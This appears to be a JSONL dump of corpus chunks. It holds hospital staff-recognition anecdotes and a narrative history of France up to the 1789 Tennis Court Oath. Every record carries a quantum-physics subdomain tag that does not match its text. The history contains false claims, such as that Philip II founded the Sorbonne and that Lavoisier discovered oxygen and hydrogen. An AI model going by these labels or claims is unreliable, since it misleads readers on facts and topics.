hurried to the hospital from their home in tennessee to be with him. myra noticed that the patient \u2019 s young son was having an especially hard time with the situation. so she called the nc zoo and arranged free tickets for the family. myra showed us that sometimes patient care extends into the family. the young boy brought back a stuffed animal that he named \" randolph \". in june, an auto accident involving two young girls was called into the emergency room. one of the girls was transported to baptist hospital and the other was pronounced dead on the scene. shonda was the charge nurse in the ed that day. she had the responsibility to notify the deceased girl \u2019 s family. shonda spent several hours answering questions, and supporting the family through the difficult news. her compassion and professionalism is an example to us all. jerzy sopala, md in february, while a nurse was in the middle of feeding a patient, she was called away to assist in another room. dr. jerzy sopala noticed the patient waiting to finish her meal and decided to take the iniative to walk in and finish feeding her before the food became cold. dr. sopala is a great hospitalist and never hesitates to help out any nurses or nursing assistants in need. rolanda, mps director in march, a", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.40314125584245947, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.982283"} {"text": "the iniative to walk in and finish feeding her before the food became cold. dr. sopala is a great hospitalist and never hesitates to help out any nurses or nursing assistants in need. rolanda, mps director in march, a baby girl was born at randolph hospital. although weighing under 5 pounds, she was healthy and thriving just 3 days later. upon discharge, the family learned the carseat they brought was unusable because of their daughter \u2019 s weight. they needed a car bed, a special transporter for small babies, but the closest one was in forsyth county. after hearing this, rolanda traveled to winston - salem on her day off, bought a car bed for the family and refused reimbursement. this gift gave the family the ability to take their new daughter home. rolanda demonstrated a compassionate heart to the family as well her co - workers. brenda is a care champion because she reached out to the family of a fellow employee by raising over $ 2600 to equip a van for disability assistance. a member of that family experienced a tragic accident that restricts his ability to communicate and perform many everyday routines. brenda took the initiative to mobilize the hospital community and make a difference by providing for this family. brenda is a great example of someone who truly cares for others. kelly, home health while randolph hospital staff were treating physical therapy patients at the ymca pool, an 88 year old ymca member had finished her swim and had made her way to the shower area. all of a sudden the women ran out of the shower onto the pool deck, showing extreme distress and hyperventilating. randolph hospital staff immediately jumped out of the pool after first securing their patients and rushed into action to assist the woman. they stabilized her until emergency services arrived.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4389582133870291, "token_count": 363, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.985115"} {"text": "long before any roman settlements, greek navigators settled in what would become provence. the phoceans founded important cities such as massalia ( marseille ) and nikaia ( nice ), bringing them in to conflict with the neighboring celts and ligurians. the phoceans were great navigators such as pytheas who was born in marseille. the celts themselves often fought with aquitanians and germans, and a gaulish war band led by brennus invaded rome circa 393 or 388 bc following the battle of the allia. however gaulish tactics would not evolve and the romans would learn to counter them, the gauls would from then be defeated in battles such as sentinum and telamon. when carthaginian commander hannibal barca fought the romans, he recruited several gaulish mercenaries which fought on his side at cannae. it was this gaulish participation that caused provence to be annexed in 122 bc by the roman republic. later, the consul of gaul \u2014 julius caesar \u2014 conquered all of gaul. despite gaulish opposition led by vercingetorix, the overking of the warriors, gauls succumbed to the roman onslaught ; the gauls had some success at first at gergovia, but were ultimately defeated at alesia. the romans founded cities such as lugdunum ( lyon ) and narbonensis ( narbonne ). gaul was divided into several different provinces. the romans displaced populations in order to prevent local identities to become a threat to the roman control. thus, many celts were displaced in aquitania or were enslaved and moved out of gaul. there was a strong cultural evolution in gaul under the roman empire, the most obvious one being the replacement of the gaulish language by vulgar latin. it has been argued the similarities between the gaulish and latin languages favoured the transition. gaul remained under roman control for centuries and the celtic culture was then replaced by the gallo - roman culture. gauls became better integrated with the empire with the passage of time. for instance marcus antonius primus, an important general of the roman empire, and emperor claudius were both born in gaul, as were general gnaeus julius agricola and emperor caracalla ; antoninus pius also came from a gaulish family. in the decade following valerian \u2019 s capture by the persians in 260 postumus established a short - lived gallic empire, which included the iberian peninsula and britannia in addition to gaul itself. germanic tribes, the franks and the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.37683175707346417, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.100562"} {"text": "gaulish family. in the decade following valerian \u2019 s capture by the persians in 260 postumus established a short - lived gallic empire, which included the iberian peninsula and britannia in addition to gaul itself. germanic tribes, the franks and the alamanni, entered gaul at this time. the gallic empire ended with emperor aurelian ' s victory at chalons in 274. a migration of celts appeared in the 4th century in armorica. they were led by the legendary king conan meriadoc and came from britain. they spoke the now extinct british language which evolved into the breton, cornish, and welsh languages. in 418 the aquitanian province was given to the goths in exchange for their support against the vandals. those goths had previously sacked rome in 410 and established a capital in toulouse. the roman empire had difficulty responding to all the barbarian raids, and flavius aetius had to use these tribes against each other in order to maintain some roman control. he first used huns against burgundians and these mercenaries destroyed worms, killed king gunther, and pushed the burgundians westward. the burgundians were resettled by aetius near lugdunum in 443. the huns, united by attila became a greater threat, and aetius used the visigoths against the huns. the conflict climaxed in 451 at the battle of chalons, in which the romans and goths defeated attila. the roman empire was on the verge of collapsing. aquitania was definitely abandoned to the visigoths, who would soon conquer a significant part of southern gaul as well as most of the iberian peninsula. the burgundians claimed their own kingdom, and northern gaul was practically abandoned to the franks. aside of the germanic peoples the vascones entered wasconia from the pyrenees and the bretons formed three kingdoms in armorica : domnonia, cornouaille and broerec. in 486, clovis i, leader of the salian franks, defeated syagrius at soissons and subsequently united most of northern and central gaul under his rule. clovis then recorded a succession of victories against other germanic tribes such as the alamanni at tolbiac. in 496, he adopted christianity. this gave him greater legitimacy and power over his christian subjects and granted him clerical support against the visigoths. he defeated alaric ii at vouille in 507 and annexed aquitaine", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.36899838246203887, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.101709"} {"text": "at tolbiac. in 496, he adopted christianity. this gave him greater legitimacy and power over his christian subjects and granted him clerical support against the visigoths. he defeated alaric ii at vouille in 507 and annexed aquitaine, and thus toulouse, into his frankish kingdom. the goths retired to toledo in what would become spain. clovis made paris his capital and established the merovingian dynasty but his kingdom would not survive his death. the franks treated land purely as a private possession and divided it among heirs, so four kingdoms emerged : paris, orleans, soissons, and rheims. when the majordome of austrasia pepin of herstal defeated his neustrian counterpart at tertry the merovingian dynasty eventually lost effective power to their successive mayors of the palace ( majordomes ). the house of herstal was to become the carolingian dynasty. by this time muslims invaders had conquered hispania and were threatening the frankish kingdoms. duke odo the great defeated a major invading force at toulouse in 721 but failed to repel a raiding party in 732. the mayor of the palace, charles martel, defeated that raiding party at the battle of tours ( actually the battle between tours and poitiers ) and earned respect and power within the frankish kingdom. the assumption of the crown in 751 by pippin the short ( son of charles martel ) established the carolingian dynasty as kings of the franks. the new rulers ' power reached its fullest extent under pippin ' s son charlemagne. with charlemagne german influences become paramount in france. in 771 charlemagne reunited the frankish domains after a further period of division, subsequently conquering the lombards under desiderius in what is now northern italy ( 774 ), incorporating bavaria ( 788 ) into his realm, defeating the avars of the danubian plain ( 796 ), advancing the frontier with islamic spain as far south as barcelona ( 801 ), and subjugating lower saxony ( 804 ) after prolonged campaigning. in recognition of his successes and his political support for the papacy, charlemagne was crowned emperor of the romans, or roman emperor in the west, by pope leo iii in 800. charlemagne ' s son louis i ( emperor 814 \u2013 840 ) kept the empire united ; however, this carolingian empire would not survive louis i ' s death. two of his sons \u2014 charles the bald and louis the german \u2014 swore allegiance to each other against their brother", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3783369079448047, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.102830"} {"text": "i ( emperor 814 \u2013 840 ) kept the empire united ; however, this carolingian empire would not survive louis i ' s death. two of his sons \u2014 charles the bald and louis the german \u2014 swore allegiance to each other against their brother \u2014 lothair i \u2014 in the oaths of strasbourg, and the empire was divided among louis ' s three sons ( treaty of verdun, 843 ). after a last brief reunification ( 884 \u2013 887 ), the imperial title ceased to be held in the western realm which was to form the basis of the future french kingdom. the eastern realm, which would become germany, elected the saxon dynasty of henry the fowler. under the carolingians, the kingdom was ravaged by viking raiders. in this struggle some important figures such as count odo of paris and his brother king robert rose to fame and became kings. this emerging dynasty, whose members were called the robertines, was the predecessor of the capetian dynasty, who were descended from the robertines. led by rollo, the vikings had settled in normandy and were granted the land first as counts and then as dukes by king charles the simple. the people that emerged from the interactions between vikings and the mix of franks and gallo - romans became known as the normans. france was a very decentralised state during the middle age. the authority of the king was more religious than administrative. the eleventh century in france marked the apogee of princely power at the expense of the king when states like normandy, flanders or languedoc enjoyed a local authority comparable to kingdoms in all but name. the capetians, as they were descended from the robertines, were former powerful princes themselves who had successfully removed the weak and unfortunate carolingian kings. the carolingians kings had nothing more than a royal title when the capetian kings added their principality to that title. the capetians in a way had this double status of king and prince, as king they held the crown of charlemagne and as count of paris they held their personnal fief best known as ile - de - france. the fact the capetians both held lands as prince as well as the title of king gave them a complicated status, thus they were involved in the struggle for power within france as princes but also gave them a religious authority over the church of france. however and despite the fact the capetians kings often treated other princes more as enemies and allies than subordonates his royal title was often recognised yet not often respected.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41199852513766405, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.104205"} {"text": "as princes but also gave them a religious authority over the church of france. however and despite the fact the capetians kings often treated other princes more as enemies and allies than subordonates his royal title was often recognised yet not often respected. the authority was so weak in some remote places that bandits were the effective power. some of the king ' s vassals would grow so powerful that they would be among the strongest rulers of western europe. the normans, the plantagenets, the lusignans, the hautevilles, the ramnulfids, and the house of toulouse successfully carved lands outside of france for themselves. the most important of these conquests for french history was the norman conquest of england following the battle of hastings by william the conqueror because it linked england to france through normandy. although the normans were now both vassals of the french kings and their equals as king of england, their zone of political activity remained centered in france. these norman nobles then commissioned the bayeux tapestry. an important part of the french aristocracy involved itself in the crusades. french knights founded and ruled the crusader states. an example of legacy left in the mideast from these nobles is the krak des chevaliers ' enlargement by the counts of tripoli and toulouse. hugh capet was elected by an assembly summoned in reims on 1 june 987. capet was previously \" duke of the franks \" and then became \" king of the franks \" ( rex francorum ). he was recorded to be recognised king by the gauls, bretons, danes, aquitanians, goths, spanish and gascons. the danes here are certainly the normans ( of normandy ), and the spanish entry probably refers to the carolingian spanish marches. hugh capet ' s reign was marked by the loss of the spanish marches as they grew more and more independent. count borell of barcelona called for hugh ' s help against islamic raids, but even if hugh intended to help borell, he was otherwise occupied in fighting charles of lorraine. the loss of other spanish principalities then followed. hugh capet, the first capetian king, is not a well documented figure, his greatest achievement being certainly to survive as king and defeating the caroligian claimant, thus allowing him to establish what would become one of europe ' s most powerful house of kings. hugh ' s son \u2014 robert the pious \u2014 was crowned king of france before capet ' s demise. hugh capet decided so in order to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4076475337105585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.105638"} {"text": "from 1127 onward the royal advisor was a skilled politician \u2014 abbot suger \u2014. the abbot was the son of a minor family of knights however his policital advices would show extremely valuables to the king. louis vi successfully defeated, both military and politically, many of the robber barons. louis vi often summoned his vassals to the court, those who did not show up often had their land possessions confiscated and then military campaigns were mounted against them. this drastic policy clearly imposed some royal authority on paris and its surrounding areas. when louis vi died in 1137 there still was a long way to go, however a lot of efforts had been done. thanks to abbot suger ' s political advices king louis vii enjoyed greater moral authority over france than his predecessors. even more powerful vassals such as henry plantagenet paid homage to the french king. abbot suger arranged the marriage between louis vii and eleanor of aquitaine in bordeaux which made louis vii duke of aquitaine and gave him considerable power. however the couple disagreed over the burning of more than a thousand people in vitry during the conflict against the count of champagne. king louis vii was deeply horrified by the event and sought penitence by going to the holy land. he later involved the kingdom of france in the second crusade but his relationship with eleanor did not improve. the marriage was ultimately annulled by the pope under the pretext of consanguinity and eleanor soon married the duke of normandy \u2014 henry fitzempress \u2014 who would become king of england as henry ii two years later. louis vii was once a very powerful monarch and was now facing a much stronger vassal, who was his equal as king of england and his strongest prince as duke of normandy and aquitaine. abbot sugar ' s vision of construction became known as the gothic architecture during the later renaissance. this style became standard for most french cathedrals built in the late middle - age. the late direct capetian kings were considerably more powerful and influential than the earliest ones. while philip i could hardly control his parisian barons philip iv, on the other hand, could dictate popes and emperors. the late capetians, although they often ruled for a shorter time than their earlier peers, were often much more influential. this period also saw the rise of a complex system of international alliances and conflicts opposing, through dynasties, kings of france and england and holy roman emperor. philip ii spent an important part of his reign fighting the so - called angevin empire, which was probably the greatest threat to the king of france", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.38760824480397194, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.108394"} {"text": "of international alliances and conflicts opposing, through dynasties, kings of france and england and holy roman emperor. philip ii spent an important part of his reign fighting the so - called angevin empire, which was probably the greatest threat to the king of france since the rise of the capetian dynasty. during the first part of his reign philip ii tried using henry ii of england ' s son against him. he allied himself with the duke of aquitaine and son of henry ii \u2014 richard lionheart \u2014 and together they launched a decisive attack on henry ' s castle and home of chinon and removed him from power. richard replaced his father as king of england afterward. the two kings then went crusading during the third crusade however their alliance and friendship broke down during the crusade. the two men were once again at odds and fought each others in france and richard was on the verge of totally defeating philip ii. adding to their battles in france the kings of france and england were trying to install their respective allies at the head of the holy roman empire. if philip ii augustus supported philip of swabia, member of the house of hohenstaufen, richard lionheart supported otto iv, member of the house of welf. otto iv had the upper hand and became the holy roman emperor at the expense of philip of swabia. the crown of france was saved by richard ' s demise after a wound he received fighting his own vassals in limousin. john lackland, richard ' s successor, refused to come to the french court for a trial against the lusignans and like louis vi often did to his rebellious vassals philip ii confiscated john ' s possessions in france. john ' s defeat was swift and his attempts to reconquer his french possession at the battle of bouvines showed being a complete failure. his allies, most notably emperor otto iv, were all defeated or captured and even as king of england he had no mean to reconquer normandy and anjou. not only philip ii annexed normandy and anjou but he had captured the counts of boulogne and flanders. otto iv was overthrown by frederick ii, allied of philip ii of france and member of the house of hohenstaufen. the king of france however stopped before conquering aquitaine and gascony who remained loyal to the plantagenet king. in addition to defeating john of england, philip augustus founded the sorbonne and made paris a city for scholars. prince louis ( the future louis viii ) was involved in the subsequent english civil war", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39221880818916255, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.109423"} {"text": "gascony who remained loyal to the plantagenet king. in addition to defeating john of england, philip augustus founded the sorbonne and made paris a city for scholars. prince louis ( the future louis viii ) was involved in the subsequent english civil war as french and english ( or rather anglo - norman ) aristocracies were once one and were now split between allegiances. while the french kings were struggling against the plantagenets, the church called for the albigensian crusade. southern france was then largely absorbed in the royal domains. it can be said that france became a truly centralised kingdom under louis ix, who initiated several administrative reforms. saint louis has often been portrayed as a one dimensional character, a flawless representant of the faith and an administrator caring for the governed ones. however his reign was far from perfect for everyone, he made unsuccessful crusades and his expanding administrations raised oppositions. his judgments were not often practical, although they seemed fair by the standards of the time. it appears louis had a strong sense of justice and always wanted to judge people himself before applying any sentence. this was said about louis and french clergy asking for excommunications of louis ' vassals : for it would be against god and contrary to right and justice if he compelled any man to seek absolution when the clergy were doing him wrong. louis ix was only twelve years old when he became king of france, his mother \u2014 blanche of castile \u2014 was the effective power although the king was indeed louis ix. blanche ' s authority was strongly opposed by the french barons yet she could maintain her position as regent ( although she did not formally use the title ) until louis was old enough to rule by himself. in 1229 the king had to struggle with a long lasting strike at the university of paris, the quartier latin was strongly hit by these strikes. war was still going on in the county of toulouse, the royal army was occupied fighting resistance in languedoc and the kingdom was therefore vulnerable. count raymond vii of toulouse finally signed the treaty of paris in 1229, in which he retained much of his lands to life, but his daughter, married to count alfonso of poitou, produced him no heir and so the county of toulouse went to the king of france. king henry iii of england had not yet recognised the capetian overlordship over aquitaine and still hoped to recover normandy and anjou and reform the angevin empire. he landed in 1230 at saint - malo with a massive force. henry", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39051303061307163, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.110895"} {"text": "king henry iii of england had not yet recognised the capetian overlordship over aquitaine and still hoped to recover normandy and anjou and reform the angevin empire. he landed in 1230 at saint - malo with a massive force. henry iii ' s allies in brittany and normandy fell down because they did not dare fight their king who led the counterstrike himself. this evolved into the saintonge war, henry iii was defeated and had to recognise louis ix ' s overlordship although the king of france did not seize aquitaine from henry iii. louis ix was now the most important landowner of france, adding to his royal title. there were some opposition to his rule in normandy, yet it proved remarkably easy to rule, especially compared to the county of toulouse which had been brutally conquered. the conseil du roi, which would evolve into the parlement, was founded in these times. saint louis also supported new forms of art such as gothic architecture ; his sainte - chapelle became a very famous gothic building, and he is also credited for the morgan bible. after his conflict with king henry iii of england louis established a cordial relation with the plantagenet king. an amusing anecdote is about henry iii ' s attending the french parlement, as duke of aquitaine, the king of england was always late because he liked to stop each time he met a priest to hear the mass, so louis made sure no priest was on the way of henry iii. henry iii and louis ix then started a long contest in who was the most faithful up to the point none ever arrived anymore on time to the parlement which was then allowed to debate in their absence. the kingdom was involved in two crusades under saint louis : the seventh crusade and the eighth crusade. both proved to be complete failures for the french king. he died in the eighth crusade and philip iii became king. philip iii took part in another crusading disaster : the aragonese crusade, which cost him his life. more administrative reforms were made by philip the fair. this king was responsible for the end of the templars, signed the auld alliance, and established the parlement of paris. philip iv was so powerful that he could name popes and emperors, unlike the early capetians. the papacy was moved to avignon and all the contemporary popes were french such as philip iv ' s puppet : bertrand de goth. the tensions between the houses of anjou and capet climaxed during the so - called hundred years '", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.35340112129803836, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.113198"} {"text": "francis i faced powerful foes, and he was captured at pavia. the french monarchy then sought for allies and found one in the ottoman empire. the ottoman admiral barbarossa captured nice on 5 august 1543 and handed it down to francis i. these times also gave birth to the protestant reformation, and john calvin and his reformed doctrine challenged the power of the catholic church in france. during the 16th century, the spanish and austrian habsburgs were the dominant power in europe. in addition to spain and austria, they controlled a number of kingdoms and duchies across europe. charles quint, as count of burgundy, holy roman emperor, king of aragon, castile and germany ( among many other titles ) encircled france. the spanish tercio was used with great success against french knights and remained undefeated for a long time. finally on 7 january 1558 the duke of guise seized calais from the english. despite the challenge to french power posed by the habsburgs, french became the preferred language of europe ' s aristocracy. holy roman emperor charles v ( born in 1500 ) said this about languages : i speak spanish to god, italian to women, french to men, and german to my horse. because of its international status, there was a desire to regulate the french language. several reforms of the french language worked to uniformise it. the renaissance writer francois rabelais ( probably born in 1494 ) helped to shape the french language as a literary language, rabelais ' french is characterised by the re - introduction of greek and latin words. jacques peletier du mans ( born 1517 ) was one of the scholars that reformed the french language. he improved nicolas chuquet ' s long scale system by adding names for intermediate numbers ( milliards instead of thousand million, etc... ). during the 16th century the french kingdom also established colonies began to claim north american territories. jacques cartier was one of the great explorers who ventured deep into american territories during the 16th century. the largest group of french colonies became known as new france, and several cities such as quebec city, montreal, detroit and new orleans were founded by the french. the italian navigator giovanni da verrazzano worked for the french crown and discovered new angouleme which would later come to be known as new york city. renewed catholic reaction headed by the powerful duke of guise, led to a massacre of huguenots at vassy in 1562, starting the first of the french wars of religion, during which english, german, and spanish forces intervened", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41373022654650426, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.118047"} {"text": "york city. renewed catholic reaction headed by the powerful duke of guise, led to a massacre of huguenots at vassy in 1562, starting the first of the french wars of religion, during which english, german, and spanish forces intervened on the side of rival protestant and catholic forces. in the most notorious incident, thousands of huguenots were murdered in the st. bartholomew ' s day massacre of 1572. the wars of religion culminated in the war of the three henrys in which henry iii assassinated henry de guise, leader of the spanish - backed catholic league, and the king was murdered in return. following this war henry iii of navarre became king of france as henry iv and enforced the edict of nantes ( 1598 ). religious conflicts resumed under louis xiii when cardinal de richelieu forced protestants to disarm their army and fortresses. this conflict ended in the siege of la rochelle ( 1627 \u2013 1628 ), in which protestants and their english supporters were defeated. the following peace of alais confirmed religious freedom yet dismantled the protestant defences. this was also a time of philosophy. rene descartes sought answers to philosophical questions through the use of logic and reason and formulated what would be called cartesian dualism in 1641. the religious conflicts that plagued france also ravaged the habsburg - led holy roman empire. the thirty years war eroded the power of the catholic habsburgs. although cardinal richelieu, the powerful chief minister of france, had previously mauled the protestants, he joined this war on their side in 1636 because it was the raison d ' etat. imperial habsburg forces invaded france, ravaged champagne, and nearly threatened paris. richelieu died in 1642 and was replaced by mazarin, while louis xiii died one year later and was succeeded by louis xiv. france was served by some very efficient commanders such as louis ii de bourbon ( conde ) and henry de la tour d ' auvergne ( turenne ). the french forces won a decisive victory at rocroi ( 1643 ), and the spanish army was decimated ; the tercio was broken. the truce of ulm ( 1647 ) and the peace of westphalia ( 1648 ) brought an end to the war. but some challenges remained. france was hit by civil unrest known as the fronde which in turn evolved into the franco - spanish war in 1653. louis ii de bourbon joined the spanish army this time, but suffered a severe defeat at dunkirk ( 1658 ) by henry de la tour d ' auvergne. the terms", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40272813739193203, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.119400"} {"text": "fronde which in turn evolved into the franco - spanish war in 1653. louis ii de bourbon joined the spanish army this time, but suffered a severe defeat at dunkirk ( 1658 ) by henry de la tour d ' auvergne. the terms for the peace inflicted upon the spanish kingdoms in the treaty of the pyrenees ( 1659 ) were harsh, as france annexed northern catalonia. the sun king wanted to be remembered as a patron of the arts, like his ancestor louis ix. he invited jean - baptiste lully to establish the french opera. a tumultuous friendship was established between lully and moliere. jules hardouin mansart became france ' s most important architect of the period. louis xiv ' s long reign saw france involved in many wars that drained its treasury. his reign began during the thirty years ' war and during the franco - spanish war. his military architect, vauban, became famous for his pentagonal fortresses, and jean - baptiste colbert supported the royal spending as much as possible. france fought the war of devolution against spain in 1667. france ' s defeat of spain and invasion of the spanish netherlands alarmed england and sweden. with the dutch republic they formed the triple alliance to check louis xiv ' s expansion. louis ii de bourbon had captured franche - comte, but in face of an indefensible position, louis xiv agreed to a peace at aachen. under its terms, louis xiv did not annex franche - comte but did gain lille. peace was fragile, and war broke out again between france and the dutch republic in the franco - dutch war ( 1672 \u2013 1678 ). louis xiv asked for the dutch republic to resume war against the spanish netherlands, but the republic refused. france attacked the dutch republic and was joined by england in this conflict. through targeted inundations of polders by breaking dykes, the french invasion of the dutch republic was brought to a halt. the dutch admiral michiel de ruyter inflicted a few strategic defeats on the anglo - french naval alliance and forced england to retire from the war in 1674. because the netherlands could not resist eternally, it agreed to peace in the treaties of nijmegen, according to which france would annex france - comte and acquire further concessions in the spanish netherlands. on 6 may 1682, the royal court moved to the palace of versailles, which louis xiv had greatly expanded. peace did not last, and war between france and spain again resumed. the war of the reunions broke out ( 1683 \u2013 168", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4077259604769295, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.120439"} {"text": "netherlands. on 6 may 1682, the royal court moved to the palace of versailles, which louis xiv had greatly expanded. peace did not last, and war between france and spain again resumed. the war of the reunions broke out ( 1683 \u2013 1684 ), and again spain, with its ally the holy roman empire, was easily defeated. meanwhile, in october 1685 louis signed the edict of fontainebleau ordering the destruction of all protestant churches and schools in france. its immediate consequence was a large protestant exodus from france. france would soon be involved in another war, the war of the grand alliance. this time the theatre was not only in europe but also in north america. although the war was long and difficult ( it was also called the nine years war ), its results were inconclusive. the treaty of ryswick in 1697 confirmed french sovereignty over alsace, yet rejected its claims to luxembourg. louis also had to evacuate catalonia and the palatinate. this peace was considered a truce by all sides, thus war was to start again. in 1701 the war of the spanish succession began. the bourbon philip of anjou was designated heir to the throne of spain. the habsburg emperor leopold opposed a bourbon succession, because of the power that such a succession would bring to the bourbon rulers of france, and claimed the spanish thrones for himself. england and the dutch republic joined leopold against louis xiv and philip of anjou. the allied forces were led by john churchill and by prince eugene of savoy. they inflicted a few resounding defeats to the french army ; the battle of blenheim in 1704 was the first major land battle lost by france since its victory at rocroi in 1643. yet, after the extremely bloody battles of ramillies and malplaquet, pyrrhic victories for the allies, they had lost too many men to continue the war. led by villars, the french forces recovered much of the lost ground in battles such as denain. finally, a compromise was achieved with the ultrecht in 1713. philip of anjou was confirmed as philip v, king of spain, and emperor leopold did not get the throne, but philip v was barred from inheriting france. louis xiv died in 1715 of gangrene. in 1718 france was, once again, at war as philip ii of orleans ' s regency joined the war of the quadruple alliance against spain. king philip v of spain had to withdraw from the conflict confronted with the reality that spain was no longer a great power of europe. under fleur", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4232411480941081, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.122969"} {"text": "war as philip ii of orleans ' s regency joined the war of the quadruple alliance against spain. king philip v of spain had to withdraw from the conflict confronted with the reality that spain was no longer a great power of europe. under fleury ' s administration, peace was maintained as much as possible. however, in 1733 another war broke in central europe, this time about the polish succession, and france joined the war against the austrian empire. this time there was no invasion of the netherlands, and britain remained neutral. as a consequence, austria was left alone against a franco - spanish alliance and faced a military disaster. peace was settled in the treaty of vienna ( 1738 ), according to which france would annex, through inheritance, the duchy of lorraine. two years later war broke out over the austrian succession, and france seized the opportunity to join the conflict. the war played out in north america and india as well as europe, and inconclusive terms were agreed to in the treaty of aix - la - chapelle ( 1748 ). once again, no one regarded this as a peace but rather as a mere truce. prussia was then becoming a new threat as it had gained substantial territory from austria. this led to the diplomatic revolution of 1756, in which the alliances seen during the previous war were mostly inverted. france was now allied to austria and russia while britain was now allied to prussia. in the north american theatre, france was allied with various native american peoples during the seven years ' war and, despite a temporary success at the battles of the great meadows and monongahela, french forces were defeated at the disastrous battle of the plains of abraham in quebec. in europe, russia was on the verge of crushing prussia, and the anglo - prussian alliance was saved by the miracle of the house of brandenburg, while the french suffered naval defeats against british fleets at lagos and quiberon bay. finally peace was concluded in the treaty of paris ( 1763 ), and france lost most of its north american empire. in 1768 the french kingdom bought corsica from genoa. having lost its colonial empire, france saw a good opportunity for revenge against britain in assisting insurgeant troops in the american revolutionary war. spain, allied to france by the family compact, and the netherlands also joined the war on the american side. admiral de grasse defeated a british fleet at chesapeake bay while jean - baptiste donatien de vimeur, comte de rochambeau and gilbert du motier, marquis de la fayette joined american forces in defeating the british at", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4444715486569753, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.123979"} {"text": "american side. admiral de grasse defeated a british fleet at chesapeake bay while jean - baptiste donatien de vimeur, comte de rochambeau and gilbert du motier, marquis de la fayette joined american forces in defeating the british at yorktown. the war was concluded by the treaty of paris ( 1783 ), under which britain lost its former american colonies. while the state expanded, new ideas broke on the role of the king and the powers of the state. charles de secondat, baron de montesquieu described the separation of powers. many french other philosophers and intellectuals gained influence, such as : voltaire, denis diderot and, most importantly, jean - jacques rousseau with his the social contract, or principles of political right. science, mathematics and technology also flourished. french scientists such as antoine lavoisier worked to replace the archaic units of weights and measures by a coherent scientific system, commissioned by king louis xvi. lavoisier also formulated the law of conservation of mass and discovered oxygen and hydrogen. the early modern period in french history spans the following reigns : the immediate trigger for the revolution was louis xvi \u2019 s attempts to solve the government \u2019 s worsening financial situation. in february 1787 his finance minister, lomenie de brienne, convened an assembly of notables, a group of nobles, clergy, bourgeoisie, and bureaucrats selected in order to bypass the parlements. this group was asked to approve a new land tax that would, for the first time, include a tax on the property of nobles and clergy. the assembly did not approve the tax, instead demanding that louis xvi call the estates - general. in august 1788 the king agreed to convene the estates - general in may of 1789. while the third estate demanded and was granted \" double representation \" so as to balance the first and second estate, voting was to occur \" by orders \" - votes of the third estate were to be weighted - effectively cancelling double representation. this eventually led to the third estate breaking away from the estates - general and joined by members of the other estates, proclaiming the national assembly, an assembly not of the estates but of \" the people. \" in an attempt to keep control of the process and prevent the assembly from convening, louis xvi ordered the closure of the salle des etats where the assembly met. after finding the door to their chamber locked and guarded, they met nearby on a tennis court and pledged the tennis court oath on 20 june 1789, binding them \" never", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5308908703886326, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.125177"} {"text": ", louis xvi ordered the closure of the salle des etats where the assembly met. after finding the door to their chamber locked and guarded, they met nearby on a tennis court and pledged the tennis court oath on 20 june 1789, binding them \" never to separate, and to 